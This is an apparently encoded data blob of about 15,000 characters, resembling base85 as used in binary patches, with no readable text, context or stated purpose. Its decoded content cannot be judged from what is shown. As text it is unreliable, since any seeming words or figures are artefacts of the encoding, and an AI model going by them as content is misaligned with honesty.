z4eMtMiR8BX&7gm%sJiCU{OJ!8-2Y_LjPJw5S^GLMfN|e2Vc6P~L9n(7!x!UvwUh=u z65+nU;_MT?K6U0wJ9=&g1ZN7hXvsesz(`+ZLK@zgQuW(P{8HZeibI1y_^DI5F9$4p z+@F8QpiUjO6fvnvyd4O&G>A6mxJ|rlWy0Tb*#jOUd_8RmSuB3@dEq=8L9s<_=lv7S&^%@iMCS6z}LINX;O^Cb+RC%>!slX|OtprQOZ5Z#S~+ei50)GE6yml*-iN3upJa~+y# zN82Va?8I*0R1L9~V~!QfLCcXsLd-p2iNDt>D5FJE$0aOOGknRCwvW2Q-+84nBXYQ@ zOJsh}Z=G_4k#Av63FxlwhO=-bF5U7dpzJ?IGDgxGvUPpv&T%#g_s5+1 z{o2E7?61n)E1Md}y4F_QwwcFX!dQ5`$e^gVh2-Sn@+}Y}ab8!R>LOY-*?!p@F0p0i zs7wT=w=ylcvbSuLR|{+#pw-Loj5LITHCW~1{Clh`3CMf(y#g}6-Ex?=s8rI>y631l zCeTX8{laJ(>SIB?)6g?dd$B&yUQ5LZDt85AL7DvCPHyD2@;hd`WS`;i;o~AnWWodi z*QiS6xB7z5rvvfnKSii#nAqChtw75SkYqhMv$56^$w5LO%x?SGoNmR>>j?d2-BIAu z3=57JD_nq%YjRQhb5aVbP{kEJoa^|a>}2o~@r6DM5-Gt_gg4;;fD(jjBia=c-Q^V% zb7%hgRT2=_+fWs#MYWW*eegmLA|2vbx}rW%)UPTp7D}kJec=fXJJxC_BI!hk+5|7b z{QxLBHlsczw3D0(o6m%u%c*6%<&{=z-y;_k7I-w+hFe@srd{!{^NzXv>LdlN(CUi> zx!Tu!>?(~$P#6j$>W3Mwx%($htKDVzW+Xo^zQrSE{rfcP-~NAsnL;}YxWa^)$!qDJ zHUy?hlkG)%edGVa_6#?5pS}E01JDsQQog3AC3c@sKWJeZmG~OwlWH*YhOG)l6J8ZW z=#f?eN0X5!G~R|whM8C8s1rar?bZUQr&#_rx_&-XIC}iCuKdlE6DjfoRe>y(+l*)t z1kl7hK82B_1we=%+*e|E&DQUfX5scE>$U}co&ZojX&+R)-p||54fM+?)$q#+e(iZg zmo!T8Y$*eA7PyXNy~5F&ee@Mw3=pgeno9%%gK^)MUclGsAZ-z1U1ceVrBKYAr%vz2 zv5m2H+;B&4N2gyF(Tm5h8ckXP;1E3sGd<*)S+)5Ys~Lx#-ZlaOg5dtpq#gMCKWXYe zUDti}odUq*MZgL8yJS< zogK++>&y#&Wf$u%kFB-bO(b8>ED_4CrEZTE2?`1&$;@uGq7D;m>@q1d0e5TTv^_jb zN$oo)8EdJQmJNtOv&oP?*C`4{NASb*^oXVBM%>(q3M^*jr*|n=bxs)#wXxq6TQT+C zXq+H&LpUvlj@(>SuGe9~uR*{nMfI=_(Nl#^I3#0G>D=B>FLdmAj{eqnd`Xse9~EeV z>e$XVIc#%Mg{2;Rvr`HwOaDkmmuh2B4+( zHcmC?9sWb1XQaNQ=5opGHgN5K+t7Lc$7#D^Dp>TcnF#nuZ&^2}`M`DpMLLQ#KKP->>ezUv7fL z%_E=3sWkZu0aFWnH?V*GgUrNnAm&7{kMZ$lLqn zVBf(a+xE8l-q4tyPtW&YdNWyO9wdQ9#QQjQ?wzyY8IxF3bU#n8 zWW;ZZYC!-3V%oODOLy|q<7_KW|k_Uk2> zGdIIupXpY<3q}oUwK0+0op8nuA{ZFPF zTOTnQYUY>TTNUyIPtxtA1aUdV&_HJ;BChsCz@?yt8%I`HiIrPi+OJI*MG7p zph+G=Fy)kL)k&ygaM@CE*t<}l=b?5{Z;f}(nwrBzz6QEA3d68k{PO6(M60sAzwNoX z_qf~1BL723fjf=5n$q?h@dgNFo5wo5U*c??kR?&Lwi?XrivoOUc5kOO^o-Q@2VE}U z3WCy+Lgf0{wT&M!!v9qDwkam1uX2za0*s(odEh4FPy7f_G|-6siS|!Z^pH+U-xt zf*cIcINCK?2@Fs+457C*{#NA^H^hjbTpBSR`m$#-?_FSeZzYDLkwYnpa3lJ*viKion`Y^w5qu-&Tt_@%%gNhkxp` z|Id?3`ncY}x)eYyhV1N@Z7n*Q!>Qyzz8Ab{v>m*e5}8AO&EzFK4~ArG8cnkqJt=)nk5pH~1qyC0e<1-&Z@Y9NaEi zirMbOUW_k2L1C{Y`O9DR(a1^c59}y04bTG*1cb{iLt2fVXKc320cmXq*wiV0SO!%s zsL({U&~sx1uP)e+mW*~UNa-E0s8!|CxH&92ex`J35@*|kZkawi*{*oH1Se@@d#h~z zafDqvj=xo}lF<5FgD4fkR#DsOEyY})HsP=R;1 z#cgjWX0i`nO8_4pd+|3-9UXP^L|VmkJfx z(k*9k{Ce}6gmKe%oG!UKb4z#PbP*-PMq-)ZiTFU51-W!QpK&ZS82$jZZU+FuT>WOl zZLY@^FKI#&ESrj{Ubu?JGI#r+IH;>1Yj`ZV{lguE%CuHTU8+j{ltGT=!&PG@$G?)ouy!~u3`+A(>hg}hT7DwMPPBkAduH=L`HV6 z3SKfhA@Q)U+|#&^t!nhyD7Kz1I@qUXO~&|Kb&~J6G`|eA_Rk(E!s^9O-7?Yo#&O|8Ef865N|RVfzX7Ag5ST6^ z!uRNNDF_AG7G4twf6)LS!J-+7J`#>caN2pyY)(YrcSNK(G>dI+TJ@z|Tg zM>^;h3k(eeC3S=sy_g@rab!ZfpBv>DEdpq;$->bDL5s_}#zA*NyIvc$gh->^msL+` z?lL+8Mo25zVOv(~$t10Ej} weTQK^tmNy&6LfKy~$O4Dx@EcPB3%Ni1l`;VRmQ& zzU};aIi_l79HgZ_ER!v~y)^cGWRq>hTAO_fC3|j(@q3jGjDqZ~J*)@f%TEln3QJHS ziq>bE*?|B-`qGLzL1AbaU3cneVP1tv5!Q1vIc5QqTghaasJDwbj)Jr`TOSWaMbn^w z|H0mOM>Uysd*e8cjtCN@xQbkZL3J7L!l|NE1l_F$o=XbOa%gAV>{G2`z<$ z0SpizFru{31d`BEq=qU@itWq1@67w%yS{tZeb>74-tYb~ti^gB@;sb8&pCVVv(G+z z|9eiJwZ%5*!O+D|{ahH> z3=v>cV}Ci=RNt6x66IjwAoFG3{1iq3*mPIQPJ zrvEAgIug4mGlNc-85)k;u$Cj1Yiy}KmBJtWSDH-G4>#X_4GkT2MJ#AYd`HBs)#0!S zB3B(B%STem1<66)i0$>Zh*$TN)WWRt%WKBy+(B!e4zUi4i1ix?Z1Tel$Nqa1! zPeN;^$MW566;(iK#-wGtn46-lN@QEvV>OhPSY!w6mu!!=kmN$p6 z7CDCo?K)?7@BWf%T6f1oxAW6|2eC_E|6fn>>%}W_9F|Ny*c;_{N;%Z&6X3&{iA#(- z_Fsg$uD$g_Wi2so<#(Pb_VE7D=9}DKUh!$}mC~-xi@C}+zT?p6cWEh<&%l`ERb#yK z>Z4na11>CCZ&H`O2!;QCjDU))2gYi=?6qv{-Nyg@kbdd4($KZPZWMIWU)}SUQ2eC| zf3q0>n^hqqpw7El+!K{O-So8K1Tu4`|08)1X9_W57uoMC`iHkEWW%^~?Qe$DHPCRu zV>j_rZ2Qb(`~BYGy2q>W$Ncv?)zVHR&TPQo>I_|Mz4zi6`{r4)qL06{ynw>>95%A1uHY^o$>nq*M1BMVj{BbAkL zXAW|?ZR*la^w-BVQl#n|5^GLrF|+Da7S)ZOhEpeLHkeYzD6yJ%We_^hdrl$M9Nwzs zDlW4GV4myH^AXm;z2WxEkOQGLg7nhVK~!-Do!}aH7;1Mu(2H5_Ez#Y1u12F*0jAEQ ze~aw=bR5W|DTbF9kbEkigCzvWE|rS56%g4Ef;ym3o5ZTy7h_*fPTAg;%W(<+Dz1ck zUf1X%#LQLmK1DzCWeSA(h*@5WS{7u?NRXBUBp~R53j>AE7-xjY<1bGZ-bk-=TPP2} zW;6xd=2#BCjL$Qh)aI$e#F-wm?5D_?pMTEeEvl;`In}Dmm2ta(5Zj`HMZ}F*$u^7@ z6MTBwPRX|TcJ=ch&X&Wj0mT1l8Af!`+kDOxxWFA7qX2ho{nJf6R2VL1Nm78kvF{0s z<<~7Xdur({NAo>P{uznm$++bqmKm;|3?0eqlt*`>N~F0TEh`6M3s$m$$74-K-%>&%n(1PWLeQzZ`w-!1+AU7#A-bdu5Mc?;ScXZvq}1JX zmXqf;q(t9&Yg+OKgw6SRP$Z-TSRW!EuzfZ#%+hhx&63xl3NMR3raD$x^)d{Ilw=0` zHl~i*Pu`LW4AXZtrN;H4YM_vA5Of5<>!0v;lE<55vutN=q}tvxT^TNU6EZ1&t>m$CYCaa&{i=^jU==>Zj7wy_}q2MQ_l&>cf`{8lnISv zobFq{3=@4A+_cR^n2!5$8UAdFYonPaN|hj>*tK6I^l*`t2*iRkFvPcYRG5$g9Xneu zv$6(;CqImO572`(?xK@+ZDJ=I8~fq9)oYrU{pkwEuWdq7@6)?!el;A3R{zy0V?B9X zrIl3pstF2+Dzlx2$ZnF~+B{B_K{g=NjmO{b{!mit((;h(GVFCPrNh2#HE5f`j&E2? zA_6G;u!<#wZ%lXPq61QNwR#XlJwyJSfoNJEpG@1fOeYZ(iB1roAB(V`E7-49bCNud z*Nkt0dOqA@^f^MyHhJw1hfM);AptOUXw~Ox641~5^-W_I8Rm;TxmTAG1+y( zCg#;oJ23QogKJl2k8b&idiTFaj4;Yb1O(zeI3P8YH>ByB_O>$x#GlTntitBLJ{H0}DQY zpLwyX0tCsHq&m|BGEA@R#TPhe_4^((ZKY6IQq%`wYPvCAF|Pe|%g9im z4CSL1n*%cis8(@_#IT^Yh{LOB-^_$($2YmEus0o^ak_;ryy}7F%&hI;$e zGnH6J_>CCoatSqVRUu6yTID#}ikUrL4Fv_snM~BO>z{<5M3ma|(Y__*Bm?I(1Ow94wc61CkI#Vu{WUYj^g+D2yPb zZWo!+RM9^&88s?TUp!_$oZA95@rLz;B{kKKcOJHXtq)F$_rhWL{>KF3)Wu|)Yc)9}-{oDRech`f$GtH2S|tLy65G?mv7L652Me}}U{LFQeLwwQ!~Z9r-JmJ|s(OPwIi_2RkSMNg zFH0fI8q6egMfGctU1*3RTuKB*uY-Y3LhH{Rt@XdrC#h0q@3sQlrbs{Ib;kNsx5SOK zX|Z3L7n#+W(OszBxao$+8IFD!i2-XtHY}fVYE|slZ64%(;uEJ`PYd~2S!ipa0vm{f zBAC&zNDV0(+WK ze1e8VIn|3bG*;O>QJsq_N*93AQ<%MxGjIV~WTU+@ztcyTbro3yg*M_3*OAE6B>X|! zdBS!fj4vJSN0FODpy8edU0;M;`+mOaN>-#$-o{Q42ujqV47Y=~kxu!7{F&*v?S;kz>7r|%u$4v0$1&^M(hpnc3Ip>7$8Rruk|Zyv*8oGb zpWC#MRQpX@;e(YY-AP&NOfezOX9fS5A4>cRf>L>3gsRMEkvyW^*WH(gxe_`h3b66q z@~}|jb0w1FfwzBgV<^HLvMM?JMb*AMn>u=Zb;q$nuxxhdxllN^aZ4)~{oG5)Imjc^ zX1#Pl6O=kzTb?;%$GLSpEm(j$_lJ5+wkfl>AK5(no0sIVq~TlHw`=u9NbBw|%-oF? zj`l;5+WN~S&&FI3Uxa*9`G~mb55DZdJ#2APQ&OqWIs{NGn+{@b?xjPpa3ga@#;9OZ$c zsG(No3fd{l8-~JJ&wV>POKB?F6%ucOLZ``NBnfQ_b>iv1&fN0QIX!r7E9`f2KWB}* znccsQk#FkUZuD!wox+lD&+^AarBH#7gno|;7~2)E7@I4NTvWL`tNC71d-&!@L1k%H z(-6ETVjHo)Vm@DX!B~#RxyB!b)<_PR4MNTF0kP4v?Gea_Vz{XBXV>$vpIj zs@FdZg+HV%>?G4P>hN`kR4A&`W?RR*M`dh~;4*JW7mq>i?FyNVn*O($lYhpT{L^jh z^I?AW&}Ba%u`;Zl%xpxH_wZQ?#L|e(=qIMbLI?idj*LO=o0+z+@9F$QH!?cSW;8#x zd~Tjach=i?jh%a2ozUO#Lp>jN*_Snrq-v&ZTlmwq?ECu%TaF-xo|4j?_@Tgl>t)(B zWz*eqEKf2a*Q$Qa?potA#%U6lWPWyevwPSMv_C@oWcC=3VSHz6wiNQsae?q({W;@* zUH?3>7>gGC208zuhc5ib9i-uBSkDmcE(k}GFFbZ%urWerFumu_@0!24XM8-B2`;n4 zu^$GN&o4(}K4sb>M1XYFDcmaQ=|JY`I-&@PGCeHsR5^v%cvyBT%-BDF@Yln8QTefT zd;?lYvAUzd&o_L_!3t@ZbaX{U>6;*twd>g@=lp0dek_~IlzlteJSusF`r6HvsMsIU zSMHSQ{=>M`!eO{~D={vQ<@*xLnPFTPS2FAjRD>V9#=WwIce;UKETO`P z#0}6{fe??@)`wG@)|9>o1=DN0!^kAk#KJD$A$y~Q^J1?Q?FH~Y)Uft5sp|Fj692T| z{mC~9EB3DMHbOsvmMX>s9E5^>mlxqhg)%h)!DY2s__qH}__+U}j7;sDN52`8uvrzf zdPXwaZ5JyrB4G&GCX+Q+@Vu1NXh=2fu`@L@1Xfa~#JOg>OyQslLm?=+b(AM0)7UKN zi_po7U%L{QDA`$aJ6~tRhaxuCAS%;Pt)oAZbq$Jr7pA}-!4yJu zb-|(nSDfXcfOp?QXA;P=`MaW`g5~nzpZ?^I_-C6tfS=pNycXEf<~H=lx?7naMBb(* zp(dt&&d5{D{Qh^A@bA)B_eK3G9(X3Le&aavH>KD3*rMU5R?j$`widD_24YpLqI9F` zbJABKy0c{?aBe_5ka;$ZWQulPVo&qik~Iv zi_*DP{x#-&x&?YE@RwIW+M;1d0M%($4>n(pM3uMQj=kB}X|yi6994+ei75-J3uUf# z!fs`IVII|^PiKLUDbZ}KfcruCxA4P1+f#q`eZL8)hCo1@cbr!43cM2myiLP3Fy3_{ z7&Wm`R5|_ooVRbC^+q%NtH8qb%sXD0f1B}MXBBtNWQGq~-zrzrzw5Q0?>I^5f5YtI z&HU^p*y4zN_s5|B-6}N*tkT@Su}U*hzq-Hsdi3w=^*0x^Ny{p`Q)Bs((2oTIftHc^ z|7u%hd)N7m9!r|BzuOGy7R8f-7dWWCs&A!n>31jLjOxT!+dut3men~7A+#^{H&gd! zCV%&T0)+EF7O;QlTJ#@+HKB60O?~x(-mQp!XOz&{zyI5=`#Z^oeZM(6zl}hEU|q1< zb!`?UaB_r>oE7N9!-Hzu?FTOX$KUZ^e|q>?+T$_6WN~qvB{q9vh#03teIn2Oo3{^x znV4KU*LzhoshqFZa$^MPm+??Q#I{`HQu~--n)m=GxeeH2`?beY0*uN0hkaC&1q0ke z+jn1$3eaxF>kda%b{w~W#y3px>U1@@q01C%y0wP*1q(wkJ^AVC)q2x=HC^nWvq(}D zXiZny&20ZreHM9wYXVKy+iu^o`(ch?x~=7oLsb}zC3FZ)tgbD+(flGLtzN#%x%f`B z_eG-?CXjDOmY?iy`}tY45v`$u^Zvuk`3mNmE%_}`uMEKuc-aPhQJDwx0^`hDw;6c! zsny(sG`n=m>b<>0K|P(2B)BS^%Ld#@+h2FP^MT}@1Glg27HV3fprf-d zAplS1*oZc{Xj=p^@5rVBo>v!?8za7K=w8vvLw1V@lWuL^%#JZpH$ii?UMFqQc5*jY z4cGqbuK!Q&_+KFx`){y%jEp=vc>)eN$=MgG*L^`S3B%>FVMHMg{<1BPgpc%Nzi_t7 z&*p^5o*~gPM?qHeD;XnM3w*?>*D_@&J?aK=UzUCl0%u3jw_6-Ukfuw@h_xMNHkMnk zfb(VW%QbJ&I!#j()ERBF!+e_XO2loi$P94t^O^q;I=7mRI)(Qys^GY9Yyi`b@2LfD8y#)Y^IbDkDun+c{NApi=iJ^q`S59uSx;FkUqrB?QrYDCnd z7##Jzl#g$Hv})d=0TKOX)fbcL(DfN$IX=U{lrW`K#c+~IuIhI~{7^hXA|;uXW3jov z;eKgLbDsNs=)^o@D#Kd)zmmF*9ECSU`jtu`wquk-(%F*13>DOY8;K3&I@v=dia|-m- zaTwUK((G4i7Pmc~oL4)Wo7sMo99qb&>5Mjlsn1T@oIqCsN*PVsXQd-PKyq(x^1hqv z+_qhNUXH%M+N>UCCP4VdRP@c~87HDh-T?gxR^LuHuAP*xsaD>RtU|n4#j^VFrtYrM z<5e;07HD?yAjCD4UiMILVU8R%`XmK80=iInvpPlYfXnK?)A!UKot}^-n zWV#J>Co}H=cOEtWSEKQtU;o3%|BrbO2P`A~sY(Gqn(P*bDYZ$%dOT8&9=^UOpdZ@S zT6Qp^#v&gd#zy}nG}G-smynR`dK&y~nvQF1Pku?Hz7&?^pF%zV=;d6|O=jzi$xN>1 z-K;nvp@j5iw7pPXNCmv?nzjM%fX)7iY$U=HgP7i_%>D4{zRRY;&wfvj>845Wi zxZTr>wF37`RR$U>7ZWlHUfCRZ)WaQ_FG4Wd8+}2u0>EV*T^5^H(Swqs5S3tB6VX3? z-BLAJ&Ff6<>&e(|uh5}V-O29pSlak_8XL9Ki_HmilR0W*bpF)~gRmBbB!_B~4Tb=! zEJ7%0-)5`6BO?jHT!G7jwJA@d@7uHvJNr>$)I-!bA!^&NIHqNhcVcIwtw7+f#q1Q0 zwH;|nOzDCmKZDlqnFtB(&tUZQh&g_n-W;~?*S`-W;If@Mlq{oV>@P{s)}f}~y>guU zW3Br;A;5K^gBsphB)njfIoJK;ZM^fk(7_8(6FAC4#dxcfPC$jfsT-xx2FzckBvBIj zs00!gZ~a^G^6Y^IA)&7*1J-GL{g<2f1VO`*dRX-EO8fDj{&V5^cUOe}r@f!R(o6Z@ zy&&sfo;P4rx%e-Pu$5`8^wvjX$LMEM@Mer27u!M==Ea`L=-J|&`d8Kd4y4k+4qTe`9yX9y_ zo6O8pS0~a>k_*kOxB(gFPHoFb7ku;f2QEs6-BX0d+Rw1xlKs1#k&8QwhOw(YCk`t;#(_6car}n$nx!Aj?%gTpr zRk!$+R=CUur4E41EUDZYuSs}3Re*6)Yip5jc8i6eOCycr9~r+N@~^G;V^-cD*)xZw zI)KCJj&=`5Xh>MMnI?`Yl@C+Tli$+kYh)OL%dFh0SL-$$j}44}zeu$1$ZH=fJ>PaG zn&KOD(c>(o?%UuDx`@{GYMy%#BQFFbBJ3UQFEw*a*B7Si_XOB39@9hF6(oD|m0hir zVKA#gA5xsP+)~OTt{%O4oehxt{IgA7>B{=BTa0UYsnSIN`qb)TnRus4zFa@Bm!m%@-livN~oU`a&JT1s8GP%GK~jXc25vBVmDaXQ;0mv0}Z9AbQULkq@>- zRmV?eh@L)YKgjTPK7sGFQ)nNoKSXzK@ zNvpa|h)<#%Gsz~g;zw=}tjF5#By9TNpk-$dmSc#SR6iq5;{qd<)(Xf{3-dlH$<>1N zFc>N5b?SMPCn`SQ+q8E4`DoK2h82;-7$al0p1VPO=(SfXkp2?U7RHLL+T7+6$k~U) zpaGZUB2nBMCAynuaK+86^LbWVHg5?&ehzyuZ$Zs|*2ElDfT|lZ;oa-5xn{aszGe76 zE5z-CBcE+K7p|zOxu}SW;?;Wzm`B!?bB}Dl3KKwe)^cAM&=d)6BCbfVgCipAgO?r+ zr8kc2onW!+L$}ekps56o%MBw(N)Y!1OB&4@1LlGiQWjv;x&a0tc-U1OUS_Jv!XUd1 z$q(4>d*|&JSknGn{f+mUz8seUTYJV?3?nW>bo8pia&#b>>OgnGnX>dtWYmM!^dwu*Z7A@z45Y3F-Nz2~SHC$pY>?Gm1RMYr37)s4u?0xox;r$Sq~TRy+y zO1Gevdrkxqrfh5;sTVz{pA$Fc`u2&rRM3&m(8@N41Z0C-`pt#;{CVfY9SW{B`iir8 zV^tGz>B0Cd@2W+C=uispR|`WI-45hQh}ZB`)BD%+w1t@8H1wVZK5a5 z%#g>`GMyGqW`{O5r^pxiFzmX5HNe5Er=%#kYsVsv*KanIFx)mvu#+e92S+r9Z@l6S z-3+>OG@5^H;eE+z>^y%0hX4R3WxIPqAt@tuun8(sKk#PB$k}T#9w7q`JAua(ZdQPy zb_yMemZeb{I=(JXjzuJD9tuYv{8sIgDrSlS60OJ|_lrenJi1hFYFFpBjP?P6QYh41 zKuI){{rz<#t5?;O=Y1<0XJ5RO)kMc`SSJ89dRL zb?n0UarGc+IY2ng5e-`d!@#2D^a~)1mYmWf`UWFgs%jhlqb^*>fa;>PP92%uY0C$Z za)pi<|LL*Zwds`@`JJC{*CK{f7RLJ+c|Q zVd*mOhyNl}a-$KZZ-RlC1;^-XWo=V9pkCt$&8EuF(qDuQZg~t``}9hS$!563Q?T(3 z11b|fcZctad=dJ2ubfZ5!ym2f>sPj3gFGZeS&!EG`u7hE4GsBgU?4^}oKg&LbUeAs zjF^d-`yTV)txX~l93JHF3V_L82Mkx{Q`);s7YRG}-0XRC~A-9qUkr*#$KdiM#2Nk4~P8 zlT~VZE?OG&bRhDe^>a*sU2G+%O>LgX{Ba4`3uTw8eMESx$55O6BI{=ExVnjCbNfT+ z#Ol_H=hB%?NSNa(_wb!=0ykG=(($Cek;etvi^I&#?p0fPw>$l?fg)Ohj~ zbB}oOm?Z+*AEke3-i0l@|2g}U@(ZfOTi3WutZOWMQ;WHpEN3F2G}%D{Zt(RKTaZBw8boVZy`Y02fNj)qsIVeXgo+Tq2&<{+h^C^hwB|Y&0_@ z&o-nV{kD;BR5$KjHVG0@%CB}tJSn-JU%YvKIbr1vk61Ap0np9A=*-=_XzyAupV;zY zX%97gmpK}gvC=UqW%7hNmTczTId+xb*V3)hg6tI?u;4hrt_=&AypHt4`Wp{87DAXZ z3H9|X@xv@O$!fk=wD9Mj2<*mTDj>ii4uJ##0~_&*0qInEE-4QUA2iJx&kegbp*eCz zRAm$WMxt6o-M3bfGv99Hn@d;j0APipqXqA9{QMBiXsi9RNRCNjx zt@($QnB2ybu^B^ww@nAl&UstL%y;y;Y`)C?sC?(>4*y`YNW`7D4n_TjMuW#0o9}nC zuYQwFtu>D9^i_BVQrObS-dz}(GioPM^H}3MO8$9wUo78#I^NgQOQk!EJ5&z^o?EOQ zNtdfF5>4qa-)uG?@;0N2t+Zh$!c9Q-uktl6nl;7O^bQ@Dc(w-y$fT*&nx|S-7&1*( zU_D|e!Pd0RYV|wm2Njt7$vclouYx%P9-9y25L~39InSpkyK~2IitsXVoo)l1nll^u zEVS_50XWb!ha;|r-yK1L5PiwmRdQsm!7y`L^lbUJQ|8DDg z{`3&n6AvmRn;`0$60q*wS0a{iy({yFQ;XP3AR7Z!?1$n^Si_LRgl zGYyykODV5Dk-&4gg|0VIcuzHi)#Y#7&vhJVyueMufzhYMTSCENFvDDYl~U!aW1Ch@ z^M^knC33C}F8XW0&gb3t&u#a%kjfs3$71Up&o+srJv;GW@{5qQ&9^UXMVuH6U!Z9s zW6*&IEvEHV`=5Sa2*++U%cbV zd-|1TKQ9MorBLg(Sh5J9%Hv>8UFe~)4Ji9w**~|c`yY?u=o}k-Zcr{#r`^%A_+VgY zRniJ)WSpIG_~BJB*LNJ#Er@Jk^8wM$?kk_7lzATXFyRo{M#_{UqNeGvxI;*3h#*s`1c>A#U*$(jlpa5NbHoq?nl4xsIdNx4$d)JF!!KJ++Op zHQv8`GacLy*6YHnNJy$MPx4lpH=3uvWvT9*13ed2v+}F(ecx|InBZr3NN^1_D%tpj+a*W&{L(lq*VD7B|O)QoUCr11_ zp%KfI4fG)H*}+59Q`aPTYefJtd|5$;GSu=HC{Yk=fT(thNlmPnCyXIQW9J{XKQ=JQ_rP1OxPsW=4&F2e}wbtQoZ0o0h6-RwL`MbO0ME!;*X`Wkmv_&qOT)i=F<3QiN#Of zwoV**U8g0`Tg+RWV}-@4K0(~ z2Zj&;5j|@!jSZ2X)rJF4(7Y)~hJ-|MPlz~@TOMsWZ4x%A#T+)Rc@5a!mszK=D1AC> z{zJcU>T+0N4bLqAgGoC+(8cR?1T@|{p|j0|sN^cEZ9I>dG|}o7#IF6T*uOyPVWZLt z?c<};bu#s*;c|1|6z63m3V5zZpVIXK8LQ`|T&5h@3-w4bQpc>99Iyu-1P`=Ux}Dae z{mp=Tpo>Rr%vY+8r? zqMW=-w!3+J?qH8i(Ud6T>12!Py%G-N-OUATEG45)CM$LwpoE@jUIvZkG3Syt_G>NL z>iDbsy?P9~nS)igJ9>V6<>vgf(;!A?TaE?u7-zt`Z@hln7oEH3x4$-)tPy>=Khiyl z(uu4c_ve>5^RJV#Pi`}?xKyW!>6x+Y=7=Q2u;q(wjX&_MLSzp-aU55FhPjC=#pVZ+ zkIBvG?EduH_5kEsO^M%$@VoA8B#-cm{{mlS7|j5)mI-<)6$0r)ky%5%xr2FH{a(XG zn2e_(R40Tv@a0-zAng69k%(HrdKpUInb{pVDJk6fZHF~j(y~$Wg|j+58pILfT4RTm z1HDsLL93v!$Zh4jSqWz>Y|p-Y&mz2CX=8w0W_x2n8>QbX@IOnxTsi-ubf?MH?ZrIx z^a6Ho1S?}KyX-7B?jq+YJKphQcI%PVmq95fq$iU58&uw`JS6e#`A(&Q2i8|_xv&`% z+r}2&B?whWPUhkFba9zSTvpV}apxA*G+hxlQjiqB?&Kb6LE~JVV?}lk2e$6B_zTC% z`qP^EPF_-wce>=6ry|TZAf+1GR1c0;AM9FbY*nU7uJ684TWzW_Jq}>?2ZGjTAZNrL zZy9AK4t`FNxj8_Pf8d}(S_Lxrjv*}PxnWn^4mb^(Z?-fx1BDJJ)gyNGBDN=`1e9m| z@@9_4e>o<`VC__n6sSS;A>01R>~*O~E9Kd$nkm=K7$T#FakIkaihgZT20@8WV(r zz0YRvFMsX|wmGtP)vy9&08Xt)h6<>CK_)2WNMEst-K2Yc+dl)x1Ps@u=JwnHd&Mhd z3<=n^Lg^z%=Hwr%P6^5&lovYimriE~=h%$`ZAOb*vnRWO>XY6TefA@A_b*J0BoMJB zMoVVlOvi}m1+SdDUq@bE^N4G>_-1@GZY!f+B6W#B9z{2;qQrqrpfK2W83;AWgw1rO zl)893c|5aeL2fRuOkFQ`SaPAd!PEMeS6gQR8hXm|wRZiGM23BxN-de@o6r&Ky(QsI zAkRXbg+|6btqKC`{O}D5Z_o1tneMn$$_!EUnnT%|)(ZM95jQ+Gy_SV-SsA0^ofS6W zZybn^iM9nyI3n?4YZZfld#hYmcizG z0FJ2uSBjo;A0x03&YESm*H^x0%~P<64^ht_ zmgc*VrwRUN&iCuN?<$~}J*W*B%zevPs7ngz@Pe*s1-dyInqF3Gbi(0wAAHHCV%HC>gGAb1tUP|G1C&?{+Qzq(A;8+h_;X5v+Dz2~2=@e(>O^ zXG%vJj{W4A$`D!o(I_F$+ZE`bJrkx=_10v)yw!49d-wG84xx5GB{U*N{8PGYzK4k* z729@jL~*nHeOhQjjOwT2zb^jO34ck#U+VCeP59Fdqp_R#@M_lVNAl0r@Be0Ng~4(q zGBc48dA(crIQ#C@j(F!wcH2(S9hBx;^Lp&`V`3ltG5PHKm!v-mXFT!Jf0G<$Orvb> zM#ny@591>?u1~JjDO26K-h^5Q=8vS(035D_TQjuHimb8a8Lc=PoL!Qe zYci~FAGx<%_1rE~KO9knA(56CGCX+{bq;E;KLiMMt|W6h(okB_u<4l2xt;n7WRolztY%&B#)VzkkrHm0EKeJ}s;x zad`x@`3c*5*J)wSM?K&|#sLR<raI3>|93EL%g8eGTVD{(fEocNdhbtj|Ml(zF0nQO1CnwmlGciv6Rt5*fvGFK|gj569U|?o8c4BO{!y=dz zkZ7BPK3xH<&*>hk=rv4ZB4ROMxw)1b-R0hr-x_l;O!&GRyP+cAV)~LkLBMz3aXE}D zrfrZT!z+|kH#}!Vo{q}GuF|Y7{h?%k#_@}`~gqQATnLeOuU(ARHksg@An55j2s=$ zK;kF6oSP>jC`38H#=573@p*NWgO%cW%mV3AD`gs?q)nZm&RvWD$|o~2o0js*e6}%P znL0JbaXe=euw9Pz>OkSh%54)~Iv%Ivi3B}ttHKoNzM*PXCJN*}Pq z`zfndrOoup3})B@GzYpR9gp9>RsjZgh|W09-HK$w?xMybesR5YtU=XOU3XAbH{wIXXYZLo z>d(a)FgnRuF{tAVuU_+3wxi*|+aG>XQlEWOrO+ub1BLp}9@9gYn-1!&?8KL)udR%1 z>!JiJQ0;tQ<4ea#D~#${qcleP@vcZB^B4B4e8qUK=D7tcZmWAuOpMhY7g;oZE;F)} z1)J+VEudw0U6oj`#>50(?GFK^%c^FUL086mpYQ?dpJ&SxI&V|Q#Y0s<@l7(`==JiHCM{!t{oO4@cHV^x-epv~`UXP{1=&fQa>(jq;x2qJ1va zl`eZ^fRbCk5vq2@F2PtX{?Cx=zqPSXX)rK7s_8h`Q7 zn5r+O)&1Fu_sPUr69>w@^6Nuigw{|4#!SrK%`ZZedEV~9qQXEzRBS4R7*guhp&$Vm z6o3hET}TOI`PTblJ0&*02)S@RhrO5VZxM72k8v^Y(@&TGc=~_E@@Zel!0R-dkAw{3 zVri2~&aUEDOXfAMl%TE6O{l$b37u$yJ?m}FToE8AD(6A*F`)Bl>y_sD^V41{$e~(? z^1S0m2A%tUc6iZD4O}o%k94~X93f^Pd=py&4ZIS%LdSe1;BzJD=^t5cY8)U00yUlY zi(SE+Ph>eTB@ZXA5ep^|JN0PtB(B~{(IyH(4q`|ibPR0^UrIfjl`_?o+Dd&rqc1+e zcb{Xix0$FpJrt!eWdD7eN&=uWUD2?=>}aQ|d^F9A<-~=8P(Xusxob1>XY9N7BC^%& z9L(F~3A2I>Nj>6IX;6A`PWwJ8;?VJf`R3z`$LZxUHM9yV-y4Og`R8tc*p$tQQ)_Qqh#GYT>yYkY zjgk9=w=Dshj%Ie!h^n~Cn;!$ZrR4Nrti@iLW{tWx5{<7xmp`0Nt*fM$NF5qh`visd zb1ZSlkuH`GT99l2b{Qw(S6gj+Z_IZWm)i`c=-L~nQaVl9kvFIBt*cU9A?6)2T*O-w zlud>7Tt0AJ77`D4?kCXuzUJJjy^QvO2KdSc9)G2yC+AQ&9Ru;jq|VSnr7If7vOOe) 